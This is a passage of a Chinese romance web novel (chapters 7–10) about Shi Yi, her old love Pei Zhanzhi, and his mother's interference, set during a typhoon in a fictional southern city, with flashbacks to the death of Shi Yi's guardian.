《旧事重提》
7. 新家
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国庆下了几天连绵的小雨,海城路上阴雨连绵,雾气笼罩街道,看不清路。
施忆搬了新家。
那天,她没有继续问复读的事。
裴湛之要来看老徐,于是她就提前离开了。
不过,他复读与否,总之与她没有干系。
窗外雨声淅沥,室内温暖。
木质床头柜上仅留盏小夜灯,施忆窝在角落的沙发上处理公司事情。
客厅门铃响,她穿上棉拖去开门。
“surprise~”
苏叶怀里抱着一堆食材,手里还拎着大袋东西,像刚抢劫超市回来,整个人一股匪气,眼睛闪亮。
“搬新家了,怎么能没有火锅庆祝,下雨天和火锅绝配!”
苏叶兴致勃勃,施忆帮她接过沉甸甸的食材,心里暖流淌过,她唇角漾起笑意。
这也太夸张了。
“两个人怎么吃得了这么多?”
苏叶叹气一声,哀嚎道:“当然不是买的。我妈给带了好多自己种的菜,冰箱里快放不下了!”
施忆没体会过这种强烈的母爱。
她把东西放好,弯腰从木柜里拿出拖鞋,拆开递给苏叶。
苏叶四处环顾新房子,几分钟后点评道,“不错嘛,你搬新家,那个男朋友不来看看吗?”
施忆拉开冰箱门的手一顿,寒意袭来,她清醒许多:“还没跟他说。”
厨房还是崭新的,很快她发现一个严肃的问题——家里没有专门煮火锅的厨具。
施忆让苏叶一个人待在楼上休息,她下楼去趟超市。
小区超市就在施忆那栋楼对面,她撑开伞,慢慢在雨中走,雨滴敲打在伞骨上,响声清脆。
迎面停下辆黑色的轿车,小区大堂快步走出西装革履的中年男人。
车门打开,下来位贵妇。
天青色,伞檐抬。
女人容颜不见岁月痕迹,淡雅如菊,羊绒肩披下,旗袍勾勒完美的曲线,她美眸流转,完全看不出年龄了。
施忆握着伞柄的骨指收紧,骤然发白。
隔着雨帘,十几米外。
中年男人弯腰将文件交给妇人,“这是董事长需要用的材料,真是麻烦夫人来一趟了。”
黎芝:“刚好去公司,顺便来新开盘的小区看看情况。”
她又问,“少爷这几天都在那边公司吗?”
男人雨天冷汗直冒:“在的。”
“跟紧点,别让什么女人都往他身边凑。”
男人连忙应承下来。
施忆与两人擦身而过,渐行渐远,那人没认出她,她不过是一个无关紧要的蝼蚁。
从超市出来,那辆车已经没有踪影,施忆拎着袋子,心里沉甸甸,唇齿被她咬得发白。
她没有想到,这个小区是裴氏集团旗下的,如果知道,她死都不会买。
迈进家门前,施忆平复情绪,让自己看起来正常才开门进去。
苏叶正在洗菜:“外面雨大起来了,没什么事吧?”
“没事。”
客厅安静,静得可怕,施忆打开电视机,正好在播报天气预报,主持人字正腔圆:
“据海城气象局消息,今年第21号台风‘麦德姆''10月4日2时由强热带风暴级加强为台风级,将于海城云澜市沿海登陆。”
苏叶听到声音,探出头来:“怎么又台风了?天天台风。”
海城每年到这个季节,台风多发,苏叶从小到大都习惯了,这对海城土著来说小事儿。
施忆许久没回海城了。
这还是她回海城后,第一个台风。
室外狂风呼啸,屋内火锅热气缭绕,灯光明亮如昼。
苏叶夹起一颗丸子放进口中,眯起眼睛舒服道:“爽!”
她开始回忆往昔:
“哎,你还记不记得我们高中那会。”
“破澜高死活不肯放我们走,非得拖到最后一刻才肯发放假通知。”
“然后那群傻逼中二病男生,就拿试卷折纸飞机到走廊上放飞,被教导主任追着赶哈哈哈!”
南方的教学楼有露天走廊。
施忆思及此,眼眸不自觉流露笑意,校园时光单纯美好,没那么多成年人的弯弯绕绕。
“哈哈还有到楼下放风筝的,绝了,还有裴湛之……”
苏叶聊上头,倏然提到裴湛之,她想止住话头,但忘了嘴里还有丸子,整个往下咽,差点没喘过气。
“咳咳咳!”
施忆连忙递给她杯水,慢慢帮她拍背顺气。
“慢点。”
裴湛之,裴湛之。
裴湛之什么?
在这么一个雨天,遇见那个女人后,施忆被勾起回忆。
每次台风天,裴湛之都会跨越半个教学楼,从11班到1班,堂而皇之,跟自个班似的进入施忆他们班,1班的人早就见怪不怪。
极端反常天气总是令人兴奋。
班上不服学校管教的刺头开始捣乱,口哨欢叫声此起彼伏。
忽然,闷雷滚过,整个教学楼陷入黑暗,断电了。
教学楼爆发雀跃欢呼,“芜湖!”
教室昏暗,窗外风雨欲来,裴湛之长腿慢悠悠迈进教室,目的明确。
施忆坐在里边,她正戴着耳机,外边坐着同桌苏叶。
裴湛之还没来得及开口,苏叶就让开位置,摆摆手,
“少爷请~”
“我马上走,不打扰您俩嘞。”她熟练得可怕。
裴湛之喜欢施忆已经是全校公开的秘密。
苏叶揣着几张红票毛.爷爷,心里美滋滋,她自觉跑开,不当电灯泡。没办法这爷太有钱,文人哪能不为五斗米折腰?
离开时还回头对两人挤眉弄眼。
教室吵闹,昏暗。
就两人这里没声,与世隔绝。
裴湛之长腿搭在前面桌腿上,把施忆圈在里头。
施忆头也没抬,手指握住笔杆,写题。她光洁额前坠落一缕柔软发丝,裴湛之盯得心痒。
“光线这么暗,看得清楚吗您?”
裴湛之忽然蹦出个京腔,他小时候在京北大院长大,后面家里人退下来后,才搬回海城。
施忆高中时一直不明白为什么裴湛之会有京北口音,后面才明白。
等明白时,他们再没可能。
裴湛之没辙了,他拿出手机,打开手电筒,心甘情愿举着,给她照明。
砸砸嘴,好个没良心的。
谁让他就乐意。
施忆还是没应。
她耳机里在播放套英语听力,她眉目专注。
雨天是锻炼听力的好机会,在噪声干扰中辨别每个发音,安静时会更加轻松。
“刚才从连廊过来,我被淋到,好冷,要感冒了。”
裴湛之打感情牌,一米九的高个子却装出副柔弱无
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骨惹人可怜的模样。
贱贱地挑眉,“你得负责。”
施忆停下笔,终于分出眼神给他,几秒,转过去,继续写。
裴湛之贴近,骚里骚气,“打雷了,你怕不怕?怕跟我说,到哥哥怀里来。”
说时迟那时快,咔嚓雷声震耳欲聋,天边瞬间明亮,教学楼爆发尖叫,裴湛之猛然往施忆怀里压,整个人一抖。
施忆终于摘下耳机,在试卷上勾住最后一个正确答案。
视线冷静往下移,落下裴湛之还在抖的长腿上。
静默几秒,她开口,
“害怕的,好像是你。”
裴湛之:。草
苏叶提到裴湛之那三个字,心就开始凉了,她没想着提当年的事,氛围太过放松,口也就松了,什么话都往外蹦。
她不清楚两人当年发生了什么,那么好的一对儿。
既然施忆不说,那她就不问。
“当年裴湛之”
“复读了吗?”
“啊?”苏叶微微张着嘴,土豆还夹在半空中,她放进碗里,没想到施忆会主动提和裴湛之有关的事。
苏叶斟酌了好一会,还是决定实话实说。
“对,当时我们都没想到,裴湛之会复读。”
“我也是听之前的同学说的,他学得很认真,就在老徐那个班,后面好像考得挺好的,600来分……”
施忆吃不下去了,心里闷得慌,总觉得有什么要发生。
两人结束了这顿火锅。
雨停了一会,又很快要下大,明天就要台风,苏叶要开车回去她那边,她家没做任何防护措施,施忆下楼去送她。
两人走到小区门口,施忆嘱咐她慢点开,再折返回去。
她分神想事。
台风天要到了,清水村那边防护不知道准备好没有?
前几天,她回去了趟清水村,剩下的凤梨几乎快收割完毕,就剩小撮,应该趁台风前赶快收割了。
她想着等这阵台风过后,就种上新的凤梨品种。
新品种打开新市场,再错峰上市,村民们能赚不少,想着郁气消散,施忆勾起笑意。
她还是有些不放心,又打电话给梁叔,梁叔刚好在凤梨基地,他转视频给施忆,施忆看到凤梨已经转移到了仓库里。
心放下来。
施忆挂断电话,走到小区超市门口,想了想,关掉伞走进去。
她打算买点东西,这几天台风先撑着,毕竟她的厨艺一言难尽。
等进去才发现,货架上的熟食早已被一扫而空。
蔬菜那边就只剩辣椒……海城人都不爱吃辣。
施忆不自觉一笑。
这些年她在北方,饮食口味偏重,和海城清淡相差很大,现在看到这一场景,她莫名心里涌起阵久违的归属感。
没找到想要的,施忆挑了几样面包,然后去收银台结账。
等收银员要扫码时,她才发现自己下楼急,没带手机和钱包。
收银员对好看的人一向心软,想着这位顾客也是小区的住户,她提议道:
“要不您先回去拿钱?”
“好……”施忆还没说完便被打断。
“不用,我替她付了。”
妇人雍容华贵站在门口,她语调舒缓平和,仔细听却不容他人违抗。她唇角带笑,拢了拢羊绒披肩,眸光落在施忆身上,温柔开口,
“施小姐,我们谈谈?”
8. 冷意
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雨,雨。
街道上冷清,街角一家平价咖啡店还在营业,吊牌寂寥。
“您好,欢迎光临。”
林白译埋头认真捣弄坏掉的机器,听到店门推开,她纳闷台风天居然还有顾客,却依旧扬起声调欢迎。
两个人走进来。
施忆看见林白译微顿,台风天其他学生都放假了,她还在兼职。
施忆靠窗坐下,点了杯热可可。
黎芝跟随其后,她放下爱马仕Birkin,低低瞧了一眼木桌上的咖啡单,最贵的不过10块钱,店里充满廉价香精的味道。
黎芝收回视线,“听说施小姐,前段时间回海城了?”
“寒暄没有必要。”
黎芝眉眼微弯,保养得当的眼尾压出道细小褶皱,消失不见。
“施小姐不愧是高考状元。既然你开口了,有些话就不用多说了。”
“我希望施小姐搬出江南里。
“只要不是在裴氏旗下,几百平的大平层随便你挑。
“我可以送你。”
施忆听完眉间浮起冷意:“不可能。我住在哪是我的事。”
黎芝显然料到了,她迂回说出这次谈话关键目的。
“也可以,只要你承诺不要再接近湛之。”
黎芝脸色柔和,晓之以理,动之以情。
“当年你家人……大家都没料到,我也很痛心。”
“希望你不要告诉湛之。”
“过去的就让它过去,大家都往前看。”
“人死了,但活着的人还得继续活下去,你说是吗?”
瞧瞧,多么通情达理,豁达大度。
施忆笑了。
不愧是一家人,说话风格如出一辙。
她抿口热可可又放下,展露微笑:
“我倒想放下,黎女士不防先管教您儿子不要来纠缠我。”
说完,她神色陡然淡下来,瞥了眼玻璃窗外的飘雨。
“失陪。”
“要刮台风了,黎女士注意安全,别遭到了报应……”
施忆起身。
黎芝倏然出声,不冷不淡抛出个话头:
“你知道,他为你复读的事吗?”
施忆停下脚步,拉开玻璃门,头也不回离开。
身后冷风呼啸。
刺骨。
一如18岁那个夏天。
-
林白译从咖啡店内追出来。
她手里拿着伞,气喘吁吁,“学姐,你伞落在店里了。”
施忆回神,才发现自己淋着雨,竟毫无知觉,她接过冰凉伞柄,温声道谢。
“学姐你脸色不太好……”
林白译担忧道。
“没事,你快点回去吧,下着雨。店里没有人。”
“好。”林白译只能折返回去,她一步三回头,直到施忆身影完全消失在街头。
-
2015年夏天。
炙热,压抑。
快要高考,整个高三部绷着,随时要爆炸,所有人就等八号下午六点彻底解放。
“施忆,有人找你!”坐在窗边的同学往里伸头高声喊。
所有人朝门外看去。
施忆停下向苏叶讲题,她见赵璃神色犹豫站在教室门外。
“明天周六,我们可以见一面吗?我有话对你说。”
施忆跟赵璃不熟,她性子淡,深交朋友少。
赵璃性子相反,她活泼开朗,标准的邻家甜妹,第一次见面时,她对施忆格外热情,围着施忆转,问施忆学习成绩怎么能保持那么好。
后来她便不再笑了。
她不再看施忆,也不再看裴湛之,默默跟在赵竟身后,一言不发。
施忆那时才知道,赵璃和青梅竹马,她从小就喜欢裴湛之。
所有人都知道。
“就在这里说吧。”
施忆这周末打算回清水村,她一个月没回去了,老杨这月底例行体检,她得陪着他去医院。
“就有几句话要说,用不了多长时间。求求你,一定要来!”
赵璃眉眼恳切,苦苦朝施忆哀求道。
说完她快速往施忆手里塞张皱巴巴的字条,塞完转身就跑,完全不容施忆拒绝。
施忆只能拆开纸团,上面是一个地址,就在学校不远处。
“明天上午九点,云边咖啡馆不见不散。”——赵璃
施忆只好将去体检的时间换到下午,老杨听了浑不在意,“我还当啥事,我好的很,啥事没有,瞎紧张什么。”
“你就是不回来也行,快高考了,安心学习!”
施忆做出了让自己后悔一生的决定,如果那天她没有去赴赵璃的约,而是乘坐大巴,回到清水村,回到老杨身边。
她和老杨一起死了在18岁的那个夏天。
从此午夜梦回,悔恨终生。
老杨,老杨。
施忆按时去到咖啡馆并没有见到赵璃,却见到了裴湛之的母亲,黎芝。
她转身就要离开,被两个人穿西装的人警告拦下,将她按在椅子上。
黎芝早就等她许久。
见她第一眼,像挑选商品仔细打量她几遍,才不疾不徐将一杯咖啡推到施忆面前道:
“施同学,请坐。非常冒昧,是我让小璃帮我把你约出来的。”
“我想和你谈谈湛之的事。”
“我就直说吧,你们不可能。趁早断了心思。”
“施小姐以为,裴家只是靠裴氏地产吗?”黎芝淡道。
裴湛之三代红.色背景,祖上在京北,祖父是军队正部.级,铁骨铮铮真刀真枪五十年代上过战场的人,立过几个一等功。
前些年退下来后,到海城修养,裴家产业也逐步转移到海城。
怪不得裴湛之有京北口音,怪不得他出行总有车开在后面跟。
怪不得那群人对他唯命是从。
就算没有他祖父这层身份,裴氏地产,整个南方最大的地产集团,市值千亿。
裴湛之以后不走仕.途,也是继承裴氏。
两人天攘之别。
没有一点可能。
“听说施同学,家在清林县清水村,那是有名的贫困村吧?”
“三年来你靠小湛享受的一切也够了,人要懂得知足。”
黎芝缓了缓,才继续道:
“说实话,听说小湛要跟你考一个大学,我很生气。”
“他太不懂事了……”
“家里早就给他安排好了道路,去留学留学几年回来,再进系.统。”
“家里也希望他和小璃在一起,两家门当户对,从小知根知底的,希望你能理解我做母亲的心情。”
施忆听完无动于衷,咖啡已经凉透了,她也没有喝一口,不属于她的东西她从不奢求觊觎,人同理。
黎芝没必要专门过来这一趟。
“您误会了,我从没想过要和他在一起。”
“当然。我是说,我需要施同学明确地拒绝他。”
“理由很简单,就前段时间裴氏集团出的那点事,当然这是小事,不会到破
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产的地步,你只需要找这个借口跟他分手。”
黎芝作为母亲,自然是了解自己儿子的。他认定的事不会轻易放手。
好好说不行,要来硬的。
“我想施小姐很聪明,不用我多教。”
“我希望你尽快和湛之断干净,他一毕业就会出国留学,请不要让他再对你留有念想。”
“这对你们都好。”
黎芝见施忆不说话,以为她不愿意,叹了口气,不经意提起,
“施小姐应该只有您养祖父一个亲人?我想他不太愿意听到他拼死拼活,全村人捐款才供上省城读书的孩子,到高中早恋跟有钱公子哥暧昧?”
“够了,你闭嘴!”
施忆猛然起身,她怎么说自己无所谓,不要扯到老杨。
老杨大半辈子无儿无女,是个热心肠的小老头,身材弯得像把发钝的镰刀。
清水村十里八方都知道他为人好,有什么难事总乐意去喊他帮忙。
有人在人工河道边洗凤梨时,在细长河道里捡到施忆。
河道是海城政府利民利农工程,不足两米宽,在农田旁边修建,平常农民都用来灌溉农田。
那人远远看见前方漂来个摇篮,摇摇晃晃,却神奇地没翻。
他一把捞起,里面居然躺着个女娃。
估计又是一个想生男娃,却又生出了女娃的家庭了。
哎,造孽。
那个年代观念落后,海城重男轻女极其严重,施忆从一出生就被抛弃。
清水村穷,村民靠卖凤梨为生,哪有人养得起那么多孩子。
咋办?送给福利院去,送过去也找不到一个好人家,这年头除了有钱人家,谁愿意领养女娃。
老杨拦下来,粗气道:“我养!”
老杨就靠那一亩三分凤梨地将她养大。
施忆小时候,总被村里大人开玩笑说,老杨是她爸爸。
施忆小脸板正,奶声奶气纠正,“才不是哩,爸爸才没有那么老。”
别的孩子家的爸爸都很年轻。
老杨好老的,肯定不是她爸爸。
大人们笑,老杨也笑,满脸褶子。
施忆就老杨老杨地叫,后面长大懂事了,也就叫习惯了。
两人相依为命,施忆绝不允许任何伤害老杨。
但倘若那个人是自己呢?
命运弄人,那天下午,发往清林县的大巴车因故停发,只能包小轿车回去村里。
那个年代包轿车,足够顶施忆一个星期生活费,老杨心疼,让她不要来回折腾,待在学校好好复习。
施忆再三坚持要回去,老杨只好答应让梁叔带他去体检,她这才放下心来。
老杨出事了,出事时在凤梨地握着锄头干活,是突发脑溢血,脑袋直挺挺往后仰,几秒后就没了呼吸。
老杨骗她,他根本没去体检。
施忆考完试出来,老式翻盖式手机几百个未接来电。
心倏然坠空,血液倒流,在30多度的夏天浑身冰冷,腿软没站稳,直接平地摔在地上。
她不应该去赴约,导致错过老杨的体检。
如果黎芝不约她出来,她会按时坐上回家的大巴车,体检会检测出异常,老杨会接受治疗,而不是突发脑溢血躺在医院里,变成冷冰冰的植物人,在她四处赚钱给他治病一年后,长眠地下。
她恨黎芝,恨自己。
她一个人来到这世上,现在也只剩一个人走下去。
兜兜转转,她又是一个人了。
亦如来时,在水面上摇摇晃晃。
9. 热吻
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雾气缭绕浴缸不大,热水满溢沿着边檐缓缓溢出,流满浴室,乌黑长发浮在水面,女性玲珑的曲线在水波下朦胧。
手机屏幕在黑暗中瞬间亮起:
[对不起。]
——赵璃
无数记忆碎片往施忆脑海里挤,七零八碎,她心紧喘不过气,氧气紧缺,快要窒息。
“求求你一定要来!”“施小姐趁早断了心思。”
“小忆,老杨脑溢血了。”
“家属进去签字吧,实在无能为力了。”
她明明已经决定放下过去重新开始了……为什么还是要来逼她。
裴湛之,如果你知道真相,还敢恨我吗?
施忆从水底浮起,水珠沿她完美眉骨、高挺鼻梁下滑,她颤颤睁眼,良久适应黑暗环境,哗啦起身,摸黑去找开关。
“咔哒。”室内瞬间明亮。
施忆看到赵璃给她发的消息,手指左滑点了删除,迟到了10年的过期道歉没有必要。
她裹起浴巾,赤脚踩在明亮瓷砖地板上,往外走。
楼上传来哐当哐当的敲打重物的声响,施忆顿下脚步。
新住户住她楼上?
他在干什么,是在搬家还是拆家。
刚才她回来时,楼下停着辆搬家货车,司机穿着雨衣,指挥工作人员把行李往楼里搬。
新住户是个年轻男人,他背对着施忆,肩宽腿长懒懒倚在货车上,左手夹着跟烟,弹弹烟灰,又继续抬起右手打电话。
他身上穿着件防水红色冲锋衣,看起来价格不菲,在阴雨天格外醒目。
风扬起衣角,司机跑过去跟他说了什么,他点头,又换了个姿势,继续打电话。
施忆还没看见过,有人就三个小小的,随手可以提起的行李包,还专门用货拉拉来搬,关键他还是个男人。
她想,新住户应该脾气龟毛,难以相处。
施忆上楼后,裴湛之回头,司机小步跑过去,眼含歉意:
“裴先生,家具公司台风天关门了,所以只好先把您的几个行李搬来了。”
司机心底嘀咕:
谁大台风天搬家的,还是从西山搬到这儿,要不是钱多,他才不干。
有钱人脾气都这么古怪吗。
西山独栋别墅庄园,坐落在云澜海边山顶,私密性极高,没几亿下不来;而江南里年轻住户偏多,价格虽然也不便宜,但跟西山比,那是天上地上。
“裴湛之你脑子出问题了,放着别墅不住,大台风天搬去江南里!”
赵竟刚从政府下班回来,赤裸在浴缸里美美泡澡,听到这个消息眼睛睁大,手机哗的掉进水里。
幸好手机贵,防水。
他小小翼翼夹起来,屏幕没暗,电话还在通着。
真不愧是一万多的手机,买得值!
这才大咧咧吼,“万一台风天出事怎么办?”
裴湛之把手机稍稍拿远,啧啧了声,漆黑浓密的睫羽微抬,他巴不得出事,他就等着出事。
“你懂什么,就得台风天搬。”
“挂了。”
他挂完电话,慢悠悠上楼,抬脚刚要迈进一楼大厅,想起个事。
忽然偏头,朝要抓紧溜的货车司机问道:
“你有锤子吗?”
啊,
锤子?
“有的,有的。”
司机冒着雨小跑回货车里,从工具箱里拿出锤子递给裴湛之。
“谢了。”
-
新房子小,百来平,跟西山别墅压根不能比。主卧室小就算了,只有光溜溜一张床。
客厅更是空荡,放眼望去就头顶一盏吊灯,在那晃啊晃。
怎么看,都不能住人。
裴湛之四处摁了摁客厅玻璃窗,质量很好,坚硬结实。
不易碎。
从这里看过去,对面楼所有人家都在窗上贴好了米字,严阵以待,做好了一切应对台风。
裴湛之悠哉悠哉,颠了一把手中轻便的锤子,没什么重量。
但足够了。
他在卧室玻璃窗敲了十几下,又在客厅玻璃窗几十下。
然后给物业打电话,让他们准时给809室断电,随后拿出浴巾,心满意足进浴室洗澡去了。
晚上20:36,台风登陆。
狂风如猛兽哭泣,阴森恐怖,门窗被吹得噼里啪啦作响,风愈来愈烈。
“刺啦。”
裴湛之洗到一半走出来,客厅玻璃窗蔓延开裂痕,不到一会,一阵大风刮来猛然碎裂!
冷风霎时争先恐后涌进空荡荡的客厅,卷起窗帘,飞出屋外,室内所幸没有什么家具,但也瞬间一片狼藉。
对面楼有不知谁喊了声,“谁家窗帘飞啦!”
很快,灯也灭了,陷入黑暗。
裴湛之面不改色,
拢了拢浴巾,
下楼敲门。
-
施忆以为是物业,她打开门,面前裴湛之裹着长款浴巾站在门外,额前刘海耷拉,正往下滴着水。
施忆猛然甩上门,被裴湛之伸手用力抵住。
“我住楼上。”
施忆明白了,裴湛之就是那个她在楼下看见,台风天搬过来的龟毛新住户。
“上面玻璃窗碎了,电路短路了,我借你下你家浴室。”
施忆:“与我无关,赶紧离开。”
裴湛之睫羽低垂,他看见女人眼尾微红,漂亮的薄眼皮发肿,声音泛着不正常的哑意。
“你哭过了?”
看到裴湛之,浴缸里溺水的窒息感再次向袭来,胸口像是被压着巨石,拼命呼吸,只能吸进半截氧气。
“你滚!”施忆拼命将他往外推。
裴湛之倏然将她紧紧揽进怀中,闪身挤进门内,伸腿关上门,隔绝冷风。
附身将她抵在墙上,手收着力道,轻轻扶住她后脑勺,眼神往下压,
“发生了什么?”
裴湛之喉间微紧,他还没见她哭过,他抬手用指腹帮她擦去泪珠,喉结滚了滚,
他恨她。
可看她哭,不行。
“我求你离我远远的,为什么要一而再再而三地打扰我平静的生活,我没有惹你们任何人。”
施忆嗓音嘶哑,眼底泪珠像断了线的珍珠源源不断往下掉。
每次一靠近他们,她就想起老杨,想起她的过去,想起她犯下的罪孽。
她是罪人,害死了老杨。
如果她按时回家,一切都不会发生!
“你就那么讨厌见到我吗。”
“嗯?”
“对,我拜金,爱慕虚荣!像我这样的坏女人,最好离我远点!”
女人的眼睛像琉璃,很美。
现在只剩一片荒芜,和看不到底的绝望。
裴湛之眼底被刺痛,附颈低头堵住她喋喋不休的唇。
世界安静了。
窗外风声凄厉。
女人唇瓣异常柔软,像颗刚撕开的果冻般晶莹。
裴湛之头皮发麻,酥麻痒意从他尾椎骨往上钻,他灵活的舌尖控制不住汲取更多,她清甜的气息如罂.粟般令人沉沦。
良久,裴湛之停下来,离开她唇畔,他额头抵住她的,气息凌乱炙热,抬手捧住女人侧脸。
“对!你虚荣拜金,我恨你。”
“那你为什么还要回来,回来让我恨你!”
裴湛之声音低得不像话,他喃喃自语。
施忆累了,她全身卸了力,什么都不管了,随便他吧。
“浴室最里面那间……用完离开。”
她赤脚踩在冰凉地板砖上,机械往里走。
裴湛之迈步跟上她,一
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把将她横抱起,女人轻得可怕,全是骨头硌得他发疼,他沉声皱眉道:
“季伯宁没给你吃饭?不知道地上凉吗,还光着脚。”
施忆无动于衷。
裴湛之踹开卧室的门,将她放在床上,拉过棉被盖住她,直觉告诉裴湛之,今晚施忆情绪不对劲,非常不对劲。
她到底发生什么了。
她一向理智从容,坚韧顽强,对任何事情游刃有余。
此时,她闭眼整个人蜷缩成一团,埋进被子里,脆弱不堪。
裴湛之屈身在床边坐下,他叹了一口气,拇指揉揉太阳穴,好久没有这种无措的情绪出现了。
他起身检查好窗户,确定关紧后,熄灭壁灯,留一盏小夜灯,室内陷入黑暗,只余床头温暖。
“睡吧,今晚我守着你。”
裴湛之今夜不敢离开。
他维持原有的姿势坐了好一会,直到手脚发麻,女人睡着了不再反抗,他才轻轻拉下她的被子,把她的头露出来。
怕她闷死在里边。
女人睡颜恬静,五官大气舒展,一张有故事的脸,和少女时代相比,更漂亮了,也更有距离感了。
裴湛之眸光沉沉,描摹她睡颜,看得入迷,移不开眼。
他站起身低头看身上的浴巾,才想起他故意洗澡到一半,就出来的事。
楼上已经不能住了。
裴湛之找到浴室,快速将自己清理一遍,然后走出来,在她床边坐下。
最后,精神终于支撑不住,在她旁边趴下睡觉。
-
半夜,风声静下来了。
施忆在睡梦中哭泣,一遍喊老杨,一遍喊冷。
裴湛之惊醒,抱住她,发觉她身体烫得可怕,他肃然站起来想去客厅找温度计。
施忆紧闭眼睛,扯住他的手,“别走,老杨,不要离开我!”
裴湛之知道老杨,施忆的监护人,高中时家长会时,他见过老杨。
“好,我不走。”
裴湛之安抚她,等她冷静下来,快速去客厅找出药和温度计。
他扶起她,替她测了体温,又半夜出厨房煮热水。等热水变温,她才抱着她,低声哄她喝药。
施忆半睡半醒,神志不清,反手将药打翻在木地板上。
裴湛之只得重新去煮,又将地板收拾干净。
一阵忙碌下来,施忆终于舒服睡去,天夜也快亮了。
-
清晨,施忆睁开眼眸,映入眼帘的便是裴湛之高挺笔直的鼻梁,视线往下移,她还紧紧抓着他骨节分明的手。
头很痛,
但勉强可以回忆起昨天到底发生了什么。
她发烧了,昨晚裴湛之照顾了她一夜。
“你醒了?”男人声音淡淡,同时睁开眼,看向床上的女人。
施忆触电般甩开他的手。
“怎么,睡醒就翻脸不认人了?昨晚可是你硬要拉着我睡,不肯松手。”
裴湛之眉梢微挑,言语暧昧。
施忆脸一僵。
不知道的还以为他们发生了,见不得人的事,但她分明……只是拉了他的手。
“你赶快离开,不要待在我家。”
女人开始冷脸赶人。
裴湛之倒是见识到了什么叫翻脸比翻书还快,这脾气可是比高中时更冷了。
裴湛之要站起身,憋屈了一晚上的长腿发麻,他倏然没站稳,往施忆身上一倒。
两人紧贴着。
呼吸交缠近在咫尺。
施忆全身僵硬,别过脸去,刚要用力去推开他,裴湛之食指压住她唇瓣,他指腹冰凉得让人发痒。
裴湛之侧脸在她耳边低声,
“嘘,有人在敲门。”
施忆定住,心跳加速,她听到一道温文尔雅的声音在门外响起。
是季伯宁。
10. 齿痕
.
季伯宁来海城了。
两人同时愣住。
施忆率先反应过来推来他,男人胸膛半露,身上就一件松垮浴巾,浴巾上还有褐色水渍,是昨晚她推洒在他身上的药汁。
大清早孤男寡女,两人怎么看都不像是清白。
施忆太阳穴阵痛,一个头两个大,她深吸口气:
“把衣服穿好,先在卧室待着,不要出来。”
反观裴湛之,他敲着二郎腿矜贵坐在布艺沙发上,眉眼淡定。
听她这样说,低瞧了看眼深V浴巾,唇角弧度若有若无,拉长尾调,
“啊。”
“就这款的。”
“……”
施忆实在没心情跟他拉扯,头疼将他扯进洗手间,眉眼示意他别出声,关上门后还是有些担心,她又低声叮嘱,
“你到底听到没有?”
裴湛之见女人神色如此紧张,声调微沉下来,
“你就这么在意他?”
施忆转身走回床头柜边上,拿起手机插上充电器,长摁开机。
2个未接电话跳出来,全是季伯宁,1个昨晚半夜,1个今早七点。
vx还给她发了消息。
[前天落地海城,谈公事,明天台风后,去看看你。]
可是她都没回。
施忆赶紧换了身衣服,推开卧室门再关紧,她小步跑去客厅,停在公寓智能门前,整理了一下头发。
才摁开门锁。
季伯宁身姿倾长,高领黑色毛衣,西装外套搭在臂弯,风尘仆仆站在门外,肩上还有清晨露水,他身后跟着薛特助,薛特助手里拎着大包小包。
全是奢侈品手提袋。
施忆愣住。
“前段时间出差去了趟米兰,看到新品就想到了你。”季伯宁露出温和笑意,缓缓道。
施忆心底更愧疚了,她侧身伸手要替薛特助接过袋子,薛特助诚惶诚恐拒绝。
“抱歉,昨晚台风睡得早,手机没电关机了,没看到消息。”
施忆耳尖微烫,她还是第一次对季伯宁撒谎。
“公司最近运营怎么样,需要帮忙吗。”
季伯宁将西装递给薛特助,坐下,开始关心她的近况,他知道施忆在海城成立公司的事,也相信她的能力。
但总忍不住想要给她更多。
“还好,最近在联系科技公司。”
“有没有想过和时易科技合作?”
提到裴湛之,室内陷入沉默,施忆正想回答。
屋内“哐当”一声,打破寂静,施忆眉心也跟着跳了跳。
薛特助好奇朝里看去。
施忆快速出声解释:
“估计昨天台风把什么吹落了,不要紧。”
季伯宁脸色稍缓,放下心来,他递给袋子,“你看看这些包包喜不喜欢,都是新一季的。”
“师兄,你不用这样……”
季伯宁眼尾向上弯了弯,连眼角的细纹都透着柔和,是岁月久积沉淀的从容,
“我们在谈恋爱。男朋友送女朋友礼物很正常。”
“施忆,不要有负担。”
施忆哑然,没说出口,
他们是假扮情人。
只能随男人去了,一年后再说,顺其自然就好。
季伯宁解开礼物袋,示意薛特助一个眼神,薛特助了然,他自觉走出去门外,不打扰两人。
也不当电灯泡。
作为特助,他最先学会的是,察言观色,以及守口如瓶。
他清楚,除了去世的……季先生身边就只有过施小姐。
现在也只有施小姐。
客厅只有两人,气息暧昧,不知不觉中慢慢升温。
季伯宁朝施忆招手,让她坐过来一点,起码不要离自己那么远,他会很伤心。
施忆移过去,季伯宁拉住她柔软无骨的手,低头闭眼虔誠印下一吻,施忆看着他柔软的发顶,出神。
“对了,我上周回母校校庆遇到一个女孩,她成绩好但家境有些困难,我想资助她。”
施忆突然想起林白译,那个和她很像的女孩子。
台风天快来了,最后一天所有人都兴奋放假回家了,她还在咖啡厅兼职赚钱。
施忆高中时也经常这样,拼命利用周末时间,去做家教补贴家用,雷电暴雨天也从不缺席,每次都湿透回到宿舍。
“那女孩打算考京大医学院,我记得你本科是临床医学。说不定可以给她一些专业上的建议。”
“挺好的,就是学医要做好长期吃苦的准备。”
季伯宁欣慰道,“那下次,我们一起请她吃饭聊聊。”
季伯宁主要目的当然不是见那个女孩,他想找机会和施忆相处,他们已经很久没有约会。
“嗯。”
“对了,她长得和我很像,尤其是眼睛。”
施忆谈起林白译,不自觉想起那双眼睛,实在和自己太像了。
如果遮住下半张脸,只露出眼睛,甚至到了她自己也分不清两人的程度。
季伯宁眼眸微暗,他抬眼看向施忆的琉璃眼,转而胸腔闷出笑意,像听到了什么稀奇事,掐掐面前女人的脸,微笑调侃道:
“哦?”
“那得见见了,到底她和我们家施小姐有多像?”
两人忽然对视,季伯宁雾色眼眸倒映施忆浑然天成的美,他蓦然游离出神。
施忆又看到了那种神色。
近乎怀念,如秋叶般寂寥。
施忆愣了愣。
她忽然有种看不透他的错觉,像隔着层面纱,捉摸不透。
那种距离感又出现了。
她本能地想移开身体,手肘不经意撞到茶杯,茶杯坠落,混着茶水碎了一地,触目惊心。
季伯宁瞬间回神,肃声担忧道:“别动,我来清理。”
他站起身来,利落将衣袖推上去,回头问施忆:“拖把在哪?”
说完就要往里走,那是浴室的方向。
施忆心惊,“等等!”
“浴室很乱,我进去拿就好!”她小心翼翼躲开玻璃碎片,绕过去赶紧拦住季伯宁。
心跳快要崩出喉咙。
她差点忘了,裴湛之还在浴室里被她锁着,刚才里面那声重响,估计就是他故意发出来的。
-
